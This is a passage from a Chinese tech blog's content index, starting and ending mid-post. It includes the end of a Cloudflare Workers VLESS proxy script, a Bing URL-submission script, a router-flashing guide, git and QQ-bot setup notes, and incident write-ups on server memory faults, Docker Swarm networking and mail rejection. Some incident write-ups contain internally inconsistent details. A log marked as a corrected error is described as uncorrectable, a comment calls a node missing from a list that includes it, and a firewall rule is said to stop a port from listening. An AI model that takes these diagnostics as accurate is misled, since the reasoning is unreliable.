await delay(1); // } webSocket.send(chunk); } }, close() { log(`remoteConnection!.readable is close with hasIncomingData is ${hasIncomingData}`); // safeCloseWebSocket(webSocket); // no need server close websocket frist for some case will casue HTTP ERR_CONTENT_LENGTH_MISMATCH issue, client will send close event anyway. }, abort(reason) { console.error(`remoteConnection!.readable abort`, reason); }, }) ) .catch((error) =\u0026gt; { console.error( `remoteSocketToWS has exception `, error.stack || error ); safeCloseWebSocket(webSocket); }); // seems is cf connect socket have error, // 1. Socket.closed will have error // 2. Socket.readable will be close without any data coming if (hasIncomingData === false \u0026amp;\u0026amp; retry) { log(`retry`) retry(); } } /** * * @param {string} base64Str * @returns */ function base64ToArrayBuffer(base64Str) { if (!base64Str) { return { error: null }; } try { // go use modified Base64 for URL rfc4648 which js atob not support base64Str = base64Str.replace(/-/g, \u0026#39;+\u0026#39;).replace(/_/g, \u0026#39;/\u0026#39;); const decode = atob(base64Str); const arryBuffer = Uint8Array.from(decode, (c) =\u0026gt; c.charCodeAt(0)); return { earlyData: arryBuffer.buffer, error: null }; } catch (error) { return { error }; } } /** * This is not real UUID validation * @param {string} uuid */ function isValidUUID(uuid) { const uuidRegex = /^[0-9a-f]{8}-[0-9a-f]{4}-[4][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}$/i; return uuidRegex.test(uuid); } const WS_READY_STATE_OPEN = 1; const WS_READY_STATE_CLOSING = 2; /** * Normally, WebSocket will not has exceptions when close. * @param {import(\u0026#34;@cloudflare/workers-types\u0026#34;).WebSocket} socket */ function safeCloseWebSocket(socket) { try { if (socket.readyState === WS_READY_STATE_OPEN || socket.readyState === WS_READY_STATE_CLOSING) { socket.close(); } } catch (error) { console.error(\u0026#39;safeCloseWebSocket error\u0026#39;, error); } } const byteToHex = []; for (let i = 0; i \u0026lt; 256; ++i) { byteToHex.push((i + 256).toString(16).slice(1)); } function unsafeStringify(arr, offset = 0) { return (byteToHex[arr[offset + 0]] + byteToHex[arr[offset + 1]] + byteToHex[arr[offset + 2]] + byteToHex[arr[offset + 3]] + \u0026#34;-\u0026#34; + byteToHex[arr[offset + 4]] + byteToHex[arr[offset + 5]] + \u0026#34;-\u0026#34; + byteToHex[arr[offset + 6]] + byteToHex[arr[offset + 7]] + \u0026#34;-\u0026#34; + byteToHex[arr[offset + 8]] + byteToHex[arr[offset + 9]] + \u0026#34;-\u0026#34; + byteToHex[arr[offset + 10]] + byteToHex[arr[offset + 11]] + byteToHex[arr[offset + 12]] + byteToHex[arr[offset + 13]] + byteToHex[arr[offset + 14]] + byteToHex[arr[offset + 15]]).toLowerCase(); } function stringify(arr, offset = 0) { const uuid = unsafeStringify(arr, offset); if (!isValidUUID(uuid)) { throw TypeError(\u0026#34;Stringified UUID is invalid\u0026#34;); } return uuid; } /** * * @param {import(\u0026#34;@cloudflare/workers-types\u0026#34;).WebSocket} webSocket * @param {ArrayBuffer} vlessResponseHeader * @param {(string)=\u0026gt; void} log */ async function handleUDPOutBound(webSocket, vlessResponseHeader, log) { let isVlessHeaderSent = false; const transformStream = new TransformStream({ start(controller) { }, transform(chunk, controller) { // udp message 2 byte is the the length of udp data // TODO: this should have bug, beacsue maybe udp chunk can be in two websocket message for (let index = 0; index \u0026lt; chunk.byteLength;) { const lengthBuffer = chunk.slice(index, index + 2); const udpPakcetLength = new DataView(lengthBuffer).getUint16(0); const udpData = new Uint8Array( chunk.slice(index + 2, index + 2 + udpPakcetLength) ); index = index + 2 + udpPakcetLength; controller.enqueue(udpData); } }, flush(controller) { } }); // only handle dns udp for now transformStream.readable.pipeTo(new WritableStream({ async write(chunk) { const resp = await fetch(\u0026#39;https://1.1.1.1/dns-query\u0026#39;, { method: \u0026#39;POST\u0026#39;, headers: { \u0026#39;content-type\u0026#39;: \u0026#39;application/dns-message\u0026#39;, }, body: chunk, }) const dnsQueryResult = await resp.arrayBuffer(); const udpSize = dnsQueryResult.byteLength; // console.log([...new Uint8Array(dnsQueryResult)].map((x) =\u0026gt; x.toString(16))); const udpSizeBuffer = new Uint8Array([(udpSize \u0026gt;\u0026gt; 8) \u0026amp; 0xff, udpSize \u0026amp; 0xff]); if (webSocket.readyState === WS_READY_STATE_OPEN) { log(`doh success and dns message length is ${udpSize}`); if (isVlessHeaderSent) { webSocket.send(await new Blob([udpSizeBuffer, dnsQueryResult]).arrayBuffer()); } else { webSocket.send(await new Blob([vlessResponseHeader, udpSizeBuffer, dnsQueryResult]).arrayBuffer()); isVlessHeaderSent = true; } } } })).catch((error) =\u0026gt; { log(\u0026#39;dns udp has error\u0026#39; + error) }); const writer = transformStream.writable.getWriter(); return { /** * * @param {Uint8Array} chunk */ write(chunk) { writer.write(chunk); } }; } /** * * @param {string} userID * @param {string | null} hostName * @returns {string} */ function getVLESSConfig(userID, hostName) { const vlessMain = `vless://${userID}@${hostName}:443?encryption=none\u0026amp;security=tls\u0026amp;sni=${hostName}\u0026amp;fp=randomized\u0026amp;type=ws\u0026amp;host=${hostName}\u0026amp;path=%2F%3Fed%3D2048#${hostName}` return ` ################################################################ v2ray --------------------------------------------------------------- ${vlessMain} --------------------------------------------------------------- ################################################################ clash-meta --------------------------------------------------------------- - type: vless name: ${hostName} server: ${hostName} port: 443 uuid: ${userID} network: ws tls: true udp: false sni: ${hostName} client-fingerprint: chrome ws-opts: path: \u0026#34;/?ed=2048\u0026#34; headers: host: ${hostName} --------------------------------------------------------------- ################################################################ `; } 配置\r从 https://www.uuidgenerator.net/ 生成一个新的 UUID，然后替换第7行默认的 UUID，然后点击“Save and deploy”按钮，保存代码。\n在访问的域名后面加上 /UUID 就可以得到关于 workers 节点的分享链接信息\n优选 CloudFlare IP\r使用https://github.com/XIU2/CloudflareSpeedTest项目\n","date":"2023-08-14T16:52:51Z","permalink":"/posts/0bf86011/","title":"CloudFlare Workers 部署 VLESS 节点"},{"content":"功能描述\r利用crontab定时执行py文件自动提交文章URL给微软bing\n配置\r新建一个urldelay.py文件\n文件内容\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 import requests import json import xml.etree.ElementTree as ET # 发送HTTP请求获取站点地图内容 sitemap_url = \u0026#39;https://blog.5772447.xyz/sitemap.xml\u0026#39; response = requests.get(sitemap_url) if response.status_code == 200: # 解析XML内容 root = ET.fromstring(response.content) url_list = [] for url_element in root.findall(\u0026#39;.//{http://www.sitemaps.org/schemas/sitemap/0.9}url\u0026#39;): if len(url_list) \u0026gt;= 10: break url = url_element.findtext(\u0026#39;{http://www.sitemaps.org/schemas/sitemap/0.9}loc\u0026#39;) if url: url_list.append(url) # 打印获取到的URL列表 print(url_list) # 构造POST请求的数据 data = { \u0026#34;siteUrl\u0026#34;: \u0026#34;https://blog.5772447.xyz\u0026#34;, \u0026#34;urlList\u0026#34;: url_list } api_key = \u0026#34;自己的微软站长推送api\u0026#34; headers = { \u0026#34;Content-Type\u0026#34;: \u0026#34;application/json; charset=utf-8\u0026#34; } # 发送POST请求 submit_url = f\u0026#34;https://ssl.bing.com/webmaster/api.svc/json/SubmitUrlbatch?apikey={api_key}\u0026#34; response = requests.post(submit_url, json=data, headers=headers) if response.status_code == 200: print(\u0026#34;URLs提交成功！\u0026#34;) else: print(\u0026#34;URLs提交失败。状态码:\u0026#34;, response.status_code) else: print(\u0026#39;Failed to retrieve sitemap. Status code:\u0026#39;, response.status_code) 自行配置代码中的 sitemap_url = \u0026lsquo;https://blog.5772447.xyz/sitemap.xml'\n\u0026ldquo;siteUrl\u0026rdquo;: \u0026ldquo;https://blog.5772447.xyz\u0026rdquo;,\napi_key = \u0026ldquo;自己的微软站长推送api\u0026rdquo;\nPS：自行安装 requests 库，可以使用以下命令：\n1 pip install requests 如果Python环境是通过apt进行管理，的可以使用以下命令：\n1 2 apt update apt install python3-requests crontab使用配置\r将上述文件存于文件夹/home/script，具体地址可以自定义\n使用命令\n1 crontab -e 然后在最下面填写\n1 0 9 * * * python3 /home/script/urldelay.py \u0026gt;\u0026gt; /home/script/urldelay.log 2\u0026gt;\u0026amp;1 最后ctrl+X 按y 回车保存\n具体执行情况\r可以在/home/script/urldelay.log文件中查看\n1 2 [\u0026#39;https://blog.5772447.xyz/tags/index.html\u0026#39;, \u0026#39;https://blog.5772447.xyz/categories/index.html\u0026#39;, \u0026#39;https://blog.5772447.xyz/posts/973246e2/\u0026#39;, \u0026#39;https://blog.5772447.xyz/posts/29dc6fe8/\u0026#39;, \u0026#39;https://blog.5772447.xyz/posts/29dc6fe9/\u0026#39;, \u0026#39;https://blog.5772447.xyz/posts/c817a32b/\u0026#39;, \u0026#39;https://blog.5772447.xyz/posts/7c4a1a51/\u0026#39;, \u0026#39;https://blog.5772447.xyz/posts/8373160e/\u0026#39;, \u0026#39;https://blog.5772447.xyz/posts/500de237/\u0026#39;, \u0026#39;https://blog.5772447.xyz/posts/c817a34b/\u0026#39;] URLs提交成功！ ","date":"2023-08-10T10:07:45Z","permalink":"/posts/5ae9b088/","title":"微软Bing站长使用Python自动提交URL"},{"content":"前言\r沛喆PZ-L8路由器刷机教程\n接TTL\r插好TTL,路由器主板上有标注引脚,VCC请不要接！！！\n上电进u-boot\r打开终端软件，配置：115200,8,无,1,无\n路由器上电后快速按esc，中断uboot启动\n输入smeminfo查看初始分区\r1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 IPQ5018# smeminfo ubi0: attaching mtd1 ubi0: scanning is finished ubi0: attached mtd1 (name \u0026#34;mtd=0\u0026#34;, size 58 MiB) ubi0: PEB size: 131072 bytes (128 KiB), LEB size: 126976 bytes ubi0: min./max. I/O unit sizes: 2048/2048, sub-page size 2048 ubi0: VID header offset: 2048 (aligned 2048), data offset: 4096 ubi0: good PEBs: 464, bad PEBs: 0, corrupted PEBs: 0 ubi0: user volume: 5, internal volumes: 1, max. volumes count: 128 ubi0: max/mean erase counter: 25/11, WL threshold: 4096, image sequence number: 1838781505 ubi0: available PEBs: 0, total reserved PEBs: 464, PEBs reserved for bad PEB handling: 20 flash_type: 0xb flash_index: 0x0 flash_chip_select: 0x0 flash_block_size: 0x20000 flash_density: 0x80000 partition table offset 0x0 No.: Name Attributes Start Size 0: 0:SBL1 0x0000ffff 0x0 0x80000 1: 0:MIBIB 0x0000ffff 0x80000 0x80000 2: 0:BOOTCONFIG 0x0000ffff 0x100000 0x40000 3: 0:BOOTCONFIG1 0x0000ffff 0x140000 0x40000 4: 0:QSEE 0x0000ffff 0x180000 0x100000 5: 0:QSEE_1 0x0000ffff 0x280000 0x100000 6: 0:DEVCFG 0x0000ffff 0x380000 0x40000 7: 0:DEVCFG_1 0x0000ffff 0x3c0000 0x40000 8: 0:CDT 0x0000ffff 0x400000 0x40000 9: 0:CDT_1 0x0000ffff 0x440000 0x40000 10: 0:APPSBLENV 0x0000ffff 0x480000 0x80000 11: 0:APPSBL 0x0000ffff 0x500000 0x140000 12: 0:APPSBL_1 0x0000ffff 0x640000 0x140000 13: 0:ART 0x0000ffff 0x780000 0x100000 14: 0:TRAINING 0x0000ffff 0x880000 0x80000 15: rootfs 0x0000ffff 0x4300000 0x3a00000 ubi vol 0 kernel ubi vol 1 wifi_fw ubi vol 2 bt_fw ubi vol 3 ubi_rootfs ubi vol 4 rootfs_data 16: rootfs_1 0x0000ffff 0x900000 0x3a00000 输入printenv查看初始启动参数\r1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 IPQ5018# printenv baudrate=115200 bootcmd=bootipq bootdelay=1 done_upgrade=0 eth1addr=xxxx ethact=eth0 ethaddr=xxxx fdt_high=0x4A400000 fdtcontroladdr=4a9c4004 flash_type=11 ignore_part=0 ipaddr=192.168.10.10 machid=8040000 mtddevname=fs mtddevnum=0 mtdids=nand0=nand0 mtdparts=mtdparts=nand0:0x3a00000@0x4300000(fs), netmask=255.255.255.0 new_rootfs0=1 new_rootfs1=1 partition=nand0,0 rootfs_num=1 serverip=192.168.10.19 soc_hw_version=20180101 soc_version_major=1 soc_version_minor=1 stderr=serial@78AF000 stdin=serial@78AF000 stdout=serial@78AF000 sysfail=0 Environment size: 630/262140 bytes 配置TFTP服务\r电脑网卡配置 ip地址：192.168.10.19 掩码：255.255.255.0 关闭防火墙 将ubi-JIKEAP_N3000.img固件放入根目录\nTTL刷固件\r电脑网口接路由器WAN，输入以下命令开始刷机\n1 2 tftpboot ubi-JIKEAP_N3000.img flash rootfs 提示OK后，断电重启\n搞定\n备用命令\rIPQ5018# nand erase 0x900000 0x3a00000\nIPQ5018# setenv bootargs IPQ5018# setenv eth2addr IPQ5018# setenv eth3addr IPQ5018# setenv fsbootargs\nIPQ5018# setenv mtdparts mtdparts=nand0:0x3a00000@0x4300000(fs), IPQ5018# setenv mtdparts mtdparts=nand0:0x3a00000@0x900000(fs),\nIPQ5018# saveenv\n","date":"2023-08-03T19:58:25Z","permalink":"/posts/0bf03e68/","title":"沛喆PZ-L8路由器刷机教程"},{"content":"问题背景\r公司一台运行 MySQL 8.0 的物理服务器（Dell PowerEdge R740xd，128GB DDR4 ECC 内存），作为生产环境的主库。该机器上线约 18 个月，之前从未出现过硬件问题。\n故障现象\r7 月初开始，这台 MySQL 服务器出现不定时宕机——平均每 2-3 天一次，时间毫无规律：一次是凌晨 3:00，一次是下午 2:30，一次是上午 10:15。宕机后服务器完全无响应，Ping 不通，只能通过 iDRAC 远程控制台强制重启。\n每次宕机后检查系统日志：\n1 2 $ journalctl -b -1 --no-pager | tail -50 -- Reboot -- 宕机前的日志中没有任何异常记录——没有 OOM Killer，没有 kernel panic 堆栈（默认不输出到串口），没有硬件错误的 edac 报告。系统像是被直接拔了电源一样，没有任何临终遗言。\n排查过程\r第一轮：怀疑温度和电源\r通过 iDRAC 查看系统事件日志（SEL）：\n1 2 3 4 5 SEL Record: Date/Time: 2023-07-10 02:58:14 Sensor: CPU1 Temp Type: Temperature Description: Upper Non-Critical going high (85°C) CPU 温度确实偏高（85°C），但还在正常运行范围内（Tcase max 约 95°C）。清理了服务器内部灰尘并更换了散热硅脂后，CPU 温度降到 65°C——但宕机仍然发生。\n第二轮：怀疑内核崩溃（kdump 无输出）\r配置 kdump 来捕捉内核崩溃时的内存转储：\n1 2 yum install kexec-tools systemctl start kdump 下一次宕机后检查 /var/crash/——kdump 没有生成任何转储文件。这说明崩溃的类型非常底层，连内核的 crashkernel 都无法正常加载。\n第三轮：启用 MCE 详细日志\r怀疑是硬件层面的错误触发，在 /etc/default/grub 中添加内核参数：\n1 GRUB_CMDLINE_LINUX=\u0026#34;... mce=3 mcelog=1 console=ttyS0,115200\u0026#34; 通过 iDRAC 的串口重定向功能捕获下一次宕机时的输出。一周后再次宕机，iDRAC 串口日志中终于抓到了关键信息：\n1 2 3 4 5 [Hardware Error]: CPU:0 (7-86-6) MC0_STATUS[-|CE|MiscV|AddrV|-|-|CECC]: 0x9c20400001080136 [Hardware Error]: Error Addr: 0x00000006f3c82540 [Hardware Error]: MC0 Error: ECC error at CPU:0, channel:1, DIMM: A2 [Hardware Error]: cache level: L2, tx: GEN, mem-tx: RD Kernel panic - not syncing: Fatal machine check on current CPU Machine Check Exception (MCE)——CPU 检测到了无法纠正的 ECC 内存错误（Uncorrectable ECC Error），触发了内核 Panic。\n关键信息：\n错误位置：CPU:0, Channel:1, DIMM: A2 错误类型：ECC 不可纠正错误 错误地址：0x00000006f3c82540（刚好落在 MySQL 的 buffer pool 内存区域） 第四轮：确认内存故障模式\r虽然 ECC 内存能纠正单比特错误，但当同一个字节出现超过 1 个比特错误时就超过了 ECC 的纠错能力，触发不可纠正错误。而这种偶发性多比特错误通常意味着内存条即将彻底损坏。\n1 2 3 4 5 # 之前的edac日志其实有单比特可纠正错误的记录，只是没触发MCE $ grep -i \u0026#34;corrected error\u0026#34; /var/log/messages | grep \u0026#34;DIMM A2\u0026#34; Jul 03 05:12:14 server kernel: EDAC MC0: 1 CE memory read error on CPU:0 channel:1 slot:A2 Jul 03 19:44:32 server kernel: EDAC MC0: 1 CE memory read error on CPU:0 channel:1 slot:A2 Jul 05 11:37:05 server kernel: EDAC MC0: 1 CE memory read error on CPU:0 channel:1 slot:A2 DIMM A2 早在 7 月 3 日就开始出现可纠正错误（CE）——只是没人关注 edac 日志。CE 累积到无法纠正时就变成了 MCE 导致宕机。\n解决方案\r停机更换内存：联系 Dell 售后，确认 DIMM A2 故障，申请 RMA 更换 更换后验证：通过 memtest86+ 对新内存条做全量检测（pass \u0026gt; 3 次） 重启应用：确认 MySQL 恢复正常，buffer pool 完整性校验通过 更换内存条后，服务器恢复稳定运行，至今未再宕机。\n根因分析\r直接原因：DIMM A2 内存条硬件老化导致偶发性不可纠正的 ECC 错误，触发 MCE，内核 Panic 使系统直接宕机。kdump 无法捕获 MCE 级别的 Panic 因为内核已经在极端底层崩溃。\n深层原因：可纠正错误（CE）的 edac 日志没有被纳入监控告警体系，内存条在\u0026quot;带病工作\u0026quot;了一周后才演变为不可纠正错误导致宕机。\n预防措施\rEDAC 监控告警：通过 Zabbix 监控 /sys/devices/system/edac/mc/mc*/ce_count，单条 DIMM 的 CE 数量 \u0026gt;10 即告警 iDRAC 告警集成：将 Dell iDRAC 的 SNMP Trap 接入监控系统，硬件可纠正错误立即触发 定期硬件巡检：每季度对所有服务器的 SEL 日志和 ECC 统计做一次全面巡检 建立硬件故障响应流程：CE 告警 → 24 小时内确认 → 48 小时内安排更换窗口 关键服务冗余：MySQL 主库升级为主从架构，让单机故障不至于导致完全不可用 总结\r硬件故障不是\u0026quot;会不会发生\u0026quot;的问题，而是\u0026quot;什么时候发生\u0026quot;的问题。ECC 内存的可纠正错误（CE）是硬件健康的\u0026quot;矿工金丝雀\u0026quot;——当它开始频繁出现时，意味着那条内存条离彻底损坏不远了。这次故障的教训不是 ECC 不够强，而是 CE 的 edac 日志沉默了一整周而没有人关注。在运维中，比监控\u0026quot;已经宕机\u0026quot;更重要的是监控\u0026quot;即将宕机\u0026quot;的信号。\n","date":"2023-07-12T11:55:00Z","permalink":"/posts/42fcb7d3/","title":"记一次服务器内存硬件故障导致的不定时宕机"},{"content":"将本地文件上传到GitHub上的项目\r1.在GitHub上创建一个新的仓库（repository）。\n2.在本地计算机上使用Git命令行工具或GitHub Desktop等工具初始化一个Git仓库。\n3.将本地文件添加到Git仓库中，并提交更改。在Git命令行工具中，可以使用以下命令：\n1 2 git add . git commit -m \u0026#34;Add local file\u0026#34; 4.添加远程仓库的URL。在Git命令行工具中，可以使用以下命令：\n1 git remote add origin \u0026lt;remote repository URL\u0026gt; 5.将本地代码推送到远程仓库。在Git命令行工具中，可以使用以下命令：\n1 git push -u origin master 完成以上步骤后，你就成功将本地文件追踪到GitHub上的项目了。在以后的提交中，只需执行步骤3和5即可将更改推送到远程仓库中。\ncommit修改成运行时的时间\r1 git commit -m \u0026#34;$(date +\u0026#34;%Y-%m-%d %H:%M:%S\u0026#34;)\u0026#34; 这个命令会将当前时间以 YYYY-MM-DD HH:MM:SS 的格式插入到 commit message 中，每次运行脚本都会自动更新 commit message 为当前时间。\n向github的分支推送\r1.确认当前分支：使用 git branch 命令检查您当前所在的分支。\n1 git branch 2.创建新分支（可选）：如果您需要创建一个新的分支并将更改推送到该分支，则可以使用以下命令创建新分支，并切换到新分支：\n1 git checkout -b new-branch-name 这将创建名为 new-branch-name 的新分支，并切换到该分支。\n3.添加更改：使用 git add 命令添加要提交的更改。例如，如果您想要提交名为 index.html 的文件，则可以使用以下命令：\n1 git add index.html 您也可以使用 git add . 命令添加所有已更改或新增的文件。\n4.提交更改：使用 git commit 命令提交更改并添加注释。例如，如果您要添加一条注释：“更新首页内容”，则可以使用以下命令：\n1 git commit -m \u0026#34;更新首页内容\u0026#34; 5.推送更改：使用 git push 命令将更改推送到远程仓库。例如，如果您要将更改推送到名为“dev”的分支，则可以使用以下命令：\n1 git push origin dev 在上面的命令中，“origin”表示远程仓库的名称，而“dev”则是要推送的分支。\n6.查看更改：在您将更改提交到远程仓库后，在 GitHub 上的仓库页面上查看更改是否已成功推送到分支中。\n","date":"2023-06-25T22:30:28Z","permalink":"/posts/f9c27ae7/","title":"Git上传GitHub常用命令"},{"content":"项目地址\rminibot\n功能描述\r一款基于nonebot_plugin_firexN自用定时发送QQ消息的机器人\n定时早上发一条信息,具有vip联系人以及普通联系人，可以自定义发送消息的内容及时间。\n安装以及依赖\r1 2 3 git clone https://github.com/maskbugzero/minibot cd minibot pip install -r requirements.txt 配置完成后运行\n1 nohup python3 bot.py \u0026gt; minibot.log 2\u0026gt;\u0026amp;1 \u0026amp; 配置\r在.env中配置参数说明\n1 2 ENVIRONMENT=dev # 配置文件使用.env.dev DRIVER=~fastapi 新建一个.env.dev文件\n在.env.dev中配置参数说明\n1 2 3 4 5 6 7 8 9 HOST=0.0.0.0 PORT=8080 fire_vip_users = [\u0026#34;xxx\u0026#34;,\u0026#34;xxx\u0026#34;] # 必填 vip联系人QQ fire_users = [\u0026#34;xxx\u0026#34;,\u0026#34;xxx\u0026#34;] # 必填 联系人QQ fire_sentence_vip_moring = [\u0026#34;句子1\u0026#34;,\u0026#34;句子2\u0026#34;,\u0026#34;...\u0026#34;] # 早上随机发送该字段中的一句 fire_sentence_moring = [\u0026#34;句子1\u0026#34;,\u0026#34;句子2\u0026#34;,\u0026#34;...\u0026#34;] # 早上随机发送该字段中的一句 fire_time_vip_moring = \u0026#34;8 0\u0026#34; # 选填 早上发送时间默认为7:00 fire_time_moring = \u0026#34;8 0\u0026#34; # 选填 早上发送时间默认为7:00 Docker使用配置\r将上述.env.dev文件存于文件夹minibot，其中minibot可以自定义\n使用命令\n1 docker run -d --name minibot --restart=always -v /home/docker/minibot/.env.dev:/app/.env.dev -p 8080:8080 maskbugzero/minibot 基于\rNonebot2\nnonebot_plugin_firexN\n","date":"2023-06-25T22:19:00Z","permalink":"/posts/92e57a39/","title":"自用续火花的QQ机器人"},{"content":"问题背景\r公司微服务部署在 Docker Swarm 集群（1 Master + 5 Worker），使用 overlay 网络 swarm-net 实现跨节点容器互访。集群运行稳定超过一年，所有服务通过 Docker Service 部署，容器 IP 由 overlay 网络自动分配。\n故障现象\r6 月 8 日晚 9:00，运维收到大量服务异常告警：API Gateway 返回 502 Bad Gateway，所有后端服务的健康检查失败。进一步排查发现一个关键模式：同一节点上的容器之间通信正常，跨节点的容器通信全部失败。\n1 2 3 4 5 6 7 8 9 10 # 在 node-01 上 $ docker exec api-gateway curl http://user-service:8080/health curl: (7) Failed to connect to user-service port 8080: Connection refused $ docker exec api-gateway curl http://node-03:8080/health # user-service在node-03上 curl: (28) Connection timed out after 5000ms # 但node-03上本地访问正常 $ docker exec user-service curl http://localhost:8080/health {\u0026#34;status\u0026#34;:\u0026#34;UP\u0026#34;} # 本地ok 所有 overlay 跨节点通信全部中断。\n排查过程\r第一步：Swarm 控制面状态\r1 2 3 4 5 6 7 8 $ docker node ls ID HOSTNAME STATUS AVAILABILITY MANAGER STATUS abc123def456 * node-01 Ready Active Leader def456ghi789 node-02 Ready Active ghi789jkl012 node-03 Ready Active jkl012mno345 node-04 Ready Active mno345pqr678 node-05 Ready Active pqr678stu901 node-06 Ready Active 所有节点状态正常，Leader 可达。\n第二步：overlay 网络状态\r1 2 3 4 5 6 7 8 9 $ docker network inspect swarm-net | jq \u0026#39;.[].Peers\u0026#39; [ {\u0026#34;Name\u0026#34;: \u0026#34;a1b2c3d4e5f6\u0026#34;, \u0026#34;IP\u0026#34;: \u0026#34;10.10.0.2\u0026#34;}, {\u0026#34;Name\u0026#34;: \u0026#34;a1b2c3d4e5f7\u0026#34;, \u0026#34;IP\u0026#34;: \u0026#34;10.10.0.3\u0026#34;}, {\u0026#34;Name\u0026#34;: \u0026#34;a1b2c3d4e5f8\u0026#34;, \u0026#34;IP\u0026#34;: \u0026#34;10.10.0.4\u0026#34;}, {\u0026#34;Name\u0026#34;: \u0026#34;a1b2c3d4e5f9\u0026#34;, \u0026#34;IP\u0026#34;: \u0026#34;10.10.0.5\u0026#34;}, {\u0026#34;Name\u0026#34;: \u0026#34;a1b2c3d4e5fa\u0026#34;, \u0026#34;IP\u0026#34;: \u0026#34;10.10.0.6\u0026#34;}, # node-06 缺失！ {\u0026#34;Name\u0026#34;: \u0026#34;a1b2c3d4e5fb\u0026#34;, \u0026#34;IP\u0026#34;: \u0026#34;10.10.0.7\u0026#34;}, ] node-06 上的 peer 条目还在，但实际通信中 node-06 处于孤立状态。这说明 control plane 的 gossip 协议分发正常，但 data plane（VXLAN 隧道）出了问题。\n第三步：检查 VXLAN 端口\rDocker overlay 网络使用 VXLAN（端口 4789/UDP）在节点之间建立隧道：\n1 2 3 4 5 6 7 8 9 10 # node-06 上 $ ss -tunlp | grep 4789 # 空——VXLAN 端口未监听！ # 检查防火墙规则 $ iptables -L INPUT -n --line-numbers | grep 4789 # 无结果 $ iptables -L INPUT -n | tail -5 REJECT all -- 0.0.0.0/0 0.0.0.0/0 reject-with icmp-host-prohibited 节点 6 的 iptables 有一条全局 REJECT 规则在末尾，且没有 4789/udp 的允许规则——所有 VXLAN 流量被防火墙拒绝。\n第四步：追溯防火墙变更\r1 2 3 $ cat /etc/sysconfig/iptables | grep -C3 \u0026#34;May 25\u0026#34; # May 25 某运维执行了 \u0026#34;iptables-save \u0026gt; /etc/sysconfig/iptables\u0026#34; # 覆盖了原有规则文件，但原文件中有VXLAN允许规则，新保存的版本没有 检查 /var/log/secure：当天下午，有人在 node-06 上执行了 systemctl restart iptables，导致运行时 iptables 规则被重新加载为文件中的版本——而文件中恰好缺失了 Docker 自动添加的 VXLAN 规则。\nDocker daemon 在启动时会在 iptables 中自动添加 overlay 网络所需的规则，但 Docker 不会将这些规则持久化到配置文件中。一旦 iptables 服务被重启，Docker 自动添加的规则就会丢失。\n解决方案\r紧急恢复：重启 node-06 上的 Docker daemon 1 systemctl restart docker Docker 重启后自动重新添加了 iptables 规则，VXLAN 端口恢复监听。\n固化 Docker 防火墙规则： 1 2 # 重启docker后立即固化规则 iptables-save \u0026gt; /etc/sysconfig/iptables 配置 iptables 持久化服务：安装 iptables-services，确保每次 Docker 启动后自动持久化规则。 根因分析\r直接原因：node-06 的 iptables 被重启后丢失了 Docker overlay 网络的 VXLAN 规则，导致跨节点容器通信中断。Swarm 集群中只要有一个节点 VXLAN 不通，所有指向该节点的流量都会超时。\n深层原因：\nDocker 自动生成的 iptables 规则不会自动持久化 缺少\u0026quot;防火墙重启后自动恢复 Docker 规则\u0026quot;的机制 集群缺少 overlay 网络健康检测 预防措施\riptables 持久化策略：所有 Docker 节点配置 iptables-services 并在 /etc/docker/daemon.json 中设置 \u0026quot;iptables\u0026quot;: true 防火墙变更流程：修改 iptables 配置后必须验证 Docker overlay 网络连通性 overlay 网络心跳监控：定期从每个节点 ping overlay 网络中的固定测试容器 Swarm 节点健康检查：监控每个节点的 gossip 协议心跳和 VXLAN 隧道状态 配置管理：iptables 规则文件纳入版本管理，变更可审计 总结\rDocker overlay 网络的脆弱点在于它依赖 iptables 的动态规则，而这些规则不在任何配置文件中。一旦有人重启了防火墙服务，Docker 不会自动感知并重建规则。这个设计意味着：在 Docker 集群中，操作 iptables 服务就等同于操作网络基础设施。如果你不知道 Docker 在背后往 iptables 里写了什么，那就别碰 iptables。\n","date":"2023-06-08T21:15:00Z","permalink":"/posts/0783d2cd/","title":"Docker Swarm Overlay 跨节点不通，问题卡在哪？"},{"content":"问题背景\r公司使用自建 Postfix 邮件服务器（mail.company.com）通过 SMTP 协议发送各类通知邮件：用户注册验证码、审批提醒、周报总结、监控告警等，日均发信量约 2 万封。收件人包括公司内部员工（@company.com）和外部合作伙伴（多数使用腾讯企业邮箱 @partner.com）。\n故障现象\r5 月 25 日中午，业务方反馈用户注册验证码邮件大量丢失——十几分钟内注册了 50 个用户，只有不到 15 个收到了验证码邮件。邮件队列查看：\n1 2 3 4 5 6 7 $ mailq | grep \u0026#34;@partner.com\u0026#34; | wc -l 347 $ mailq | tail -20 5B2A81208B4 4852 Wed May 25 13:42:21 noreply@company.com (delivery temporarily suspended: host mxbiz1.qq.com[162.62.116.231] refused to talk to me: 550 Mail is rejected by users.) 退信原因：550 Mail is rejected by users——腾讯企业邮箱直接拒绝了投递。到下午 2:00，退信率达到了 60%（347 封排队中被拒）。\n排查过程\r第一步：检查退信详情\r抓取完整的 SMTP 会话日志：\n1 2 3 4 5 6 7 $ tail -200 /var/log/maillog | grep \u0026#34;mxbiz1.qq.com\u0026#34; May 25 13:42:21 mail postfix/smtp[23451]: 5B2A81208B4: to=\u0026lt;user@partner.com\u0026gt;, relay=mxbiz1.qq.com[162.62.116.231]:25, delay=3.2, delays=0.01/0/3.1/0.09, dsn=5.0.0, status=bounced (host mxbiz1.qq.com[162.62.116.231] said: 550 Mail is rejected by users. http://service.exmail.qq.com/cgi-bin/help?id=20022) 访问腾讯企业邮箱给出的帮助链接，提示可能原因：\n发信 IP 信誉过低 发信域未配置 SPF 记录 短时间内发信量过大触发流控 第二步：逐一核查三条线索\rDNS 记录检查：\n1 2 3 4 5 $ dig TXT company.com # 返回空——没有 SPF 记录！ $ dig TXT _dmarc.company.com # 返回空——没有 DMARC 记录！ 邮件域 company.com 完全没有 SPF、DKIM、DMARC 记录。对于腾讯企业邮箱这种大型邮件服务商来说，缺乏这三项基本认证的邮件会被严重降权。\n发信频率检查：\n1 2 3 4 5 $ grep \u0026#34;May 25 13:\u0026#34; /var/log/maillog | grep \u0026#34;status=sent\u0026#34; | wc -l 1284 # 1小时内发送了1284封到@partner.com $ grep \u0026#34;May 25 